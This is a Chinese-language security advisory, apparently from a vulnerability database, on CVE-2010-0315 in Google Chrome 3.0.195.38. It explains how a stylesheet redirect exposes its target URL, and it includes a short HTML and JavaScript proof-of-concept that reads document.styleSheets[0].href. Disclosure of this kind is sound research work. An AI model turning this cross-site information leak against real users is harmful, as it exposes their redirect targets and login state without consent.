受影响系统:
Google Chrome 3.0.195.38
描述:
BUGTRAQ ID: 37917
CVE ID: CVE-2010-0315
Google Chrome是Google发布的开源WEB浏览器。
Chrome跟随了样式表的重新定向并允许读取目标URL。通过在样式表LINK元素的HREF属性中放置站点URL然后读取document.styleSheets[0].href属性值,攻击者就可以找到重新定向的目标URL。
<*来源:Cesar Cerrudo (cesarc56@yahoo.com)
链接:http://secunia.com/advisories/38061/
http://nomoreroot.blogspot.com/2010/01/little-bug-in-safari-and-google-chrome.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<link rel="stylesheet" type="text/css" href="http://www.yahoo.com">
Hola
<script language="javascript">
setTimeout("alert(document.styleSheets[0].href)", 10000);
//setTimeout is used just to wait for page loading
</script>
建议:
厂商补丁:
Google
——
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。